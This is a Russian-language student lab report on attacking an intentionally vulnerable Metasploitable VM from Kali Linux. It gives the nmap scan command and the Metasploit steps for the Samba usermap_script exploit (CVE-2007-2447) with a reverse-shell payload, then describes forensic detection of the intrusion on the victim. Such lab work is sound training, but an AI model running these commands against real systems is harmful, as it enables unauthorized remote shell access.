ХОД РАБОТЫ

1.1. Были развернуты виртуальные машины Kali Linux и Metasploitable

1.2. Развернута проверка корректной настройки сети между Metasploitable и Kali Linux

1.3. Атака на Metasploitable

1.3.1. Было проведено сканирование портов Metasploitable на виртуальной машине Kali Linux с помощью команды (nmap -p 1-65535 -T4 -A -v MS_IP 2>&1 | tee /var/tmp/scan.txt) и выполнено сканирование виртуальной машины Metasploitable, результат сканирования сохранен в файл /var/tmp/scan.txt, определены порты, которые используются пакетом samba, и их статус, выполнив анализ файла, подготовленного на предыдущем шаге, с помощью команды grep.

1.3.2. Активация эксплоита для использования уязвимости CVE - 2007 - 2447

1) в терминале атакующей машины была запущена консоль фреймворка Metasploitable;

2) Был найден в списке эксплоитов и запущен эксплоит, позволяющий использовать уязвимость CVE - 2007 – 2447, с помощью команды use exploit/multi/samba/usermap_script;

3) выведен список payload, доступных для данного эксплоита, после выполнения команды show payloads;

4) для эксплоита установлен payload, осуществляющий передачу sh-консоли по telnet с помощью команды set PAYLOAD cmd/unix/reverse;

5) Выведен список доступных опций для эксплоита с помощью команды show options;

6) Установлены значения параметров: RHOST MS_IP, RPORT , LHOST KL_IP;

7) Запущен эксплоит командой exploit;

8) Проверка успешности атаки на машину жертвы

1.4. Форензика

1.4.1. Выявление аномальной активности на машине-жертве.

9) Проверка на взлом: были повышены привилегии до привилегий супер-пользователя;

10) осуществлен поиск аномальной активности с помощью утилиты netstat – определен перечень «подозрительно» открытых портов и системных процессов, работающих на этих портах;

11) выполнен анализ таких системных процессов, результатом анализа должно быть обнаружение «подозрительного» соединения – IP-адреса и порта «атакующего»;

12) выполнен анализ системных процессов, инициированных «атакующим» и работающих с портом «атакующего» (анализ выполнить по определенному на предыдущем шаге номеру порта «атакующего»), результатом должно быть обнаружение передачи sh-консоли средствами telnet;

13) сохранены результаты анализа в файл /var/tmp/samba.txt.

РЕЗУЛЬТАТЫ РАБОТЫ